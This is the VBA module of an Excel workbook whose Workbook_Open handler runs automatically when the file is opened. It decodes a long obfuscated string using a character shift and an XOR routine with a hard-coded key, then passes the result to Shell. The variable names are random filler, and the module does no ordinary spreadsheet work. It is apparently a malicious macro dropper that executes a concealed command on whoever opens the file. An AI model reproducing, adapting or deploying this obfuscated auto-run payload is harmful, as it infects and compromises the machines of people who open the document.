Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
Dim bXuMQnkaAwSkTSFHshNdUbChAqnrzTPKrgTAhqIawVJYXLqcevSIJPL As String
Dim zVhgaAtbCgdOmzZuWuHCUnyKpULhDAcAxqpfUfDaCtbrPRYxZWROXhM As String
Dim cFYJjwuVVMvxxDsyiaDzRuJqetwyKexjLdvwqcyVNmBbypmQzLBctrj As String
Dim DQCApUvfMkMGTcRdGcimfshNobfUUcVppPsfIwIVmcJMlDTJCCPULEY As String
Dim KDKLiobfjPrRYklpJTMUYEqbFIrmRhVekqhwTGvBLRZwPmQZQNGBUFA As String
Dim bNiGaxJOCPNhiCKrYtgJceuhTMSVEwTfApajkzUDWCXhBFirbqhdnQt As String
bNiGaxJOCPNhiCKrYtgJceuhTMSVEwTfApajkzUDWCXhBFirbqhdnQt = i("KKLALJSFDSAFASFQWFWQ", (l(l("AP@AAD@GAF@>@S@?AT@RDF@B@P@AE?EO@A@TAB@FASAF@F@A@B@A@G@FAO@@ATD?A?AT@?ADAC@BE?DD?QDQ>G@C@SAE@A@OEADQ@C@SAS@PA>AG@@EEEG@C@SAPDQ@A@FAG@A@E@ED??CAF@>A@ABAODF?GABATDC?P@B@S>GAT@T@?ARACDTDT?E@G@DAG@OAFA>@T>R@C@R@GD@EB@SA>@EA?EQDSEQACAB@?@TABABDC@SAGEBD@@C@?@?DPA>@R@T@BARA@ETA@ASA@EDDEDT@G@TAOE>>E@A@G@ADOD??RAR@A@DA?@TAPABDC>SAB@BDPDADFDS>OADADDP>SA?@QABABA@EEEQ@F@B@?D??T@@AD@O@FER>>ADA?AT@TA@ADA@ASAS@CD@D@?@@B@TAT@O>?@P@B@CAB@E@AEGEA@AAG@EE??T@G@QAQD?EB?O@OADAD@>@FAT@AET?@ASA@EDD@"))))
Shell (bNiGaxJOCPNhiCKrYtgJceuhTMSVEwTfApajkzUDWCXhBFirbqhdnQt)
End Sub
Public Function i(fine As String, job As String) As String
        Dim lonDataPtr As Long
        Dim vbc As String
        Dim intXOrValue1 As Integer
        Dim intXOrValue2 As Integer
        For lonDataPtr = 1 To (Len(job) / 2)
            intXOrValue1 = Val("&H" & (Mid$(job, (2 * lonDataPtr) - 1, 2)))
            intXOrValue2 = Asc(Mid$(fine, ((lonDataPtr Mod Len(fine)) + 1), 1))
            vbc = vbc + Chr(intXOrValue1 Xor intXOrValue2)
        Next lonDataPtr
        i = vbc
    End Function
    Public Function l(ll As String)
    Dim lll As Integer, llll As Integer
    lll = 7
    For llll = 1 To Len(ll)
        Mid(ll, llll, 1) = Chr(Asc(Mid(ll, llll, 1)) - lll)
    Next llll
    l = ll
End Function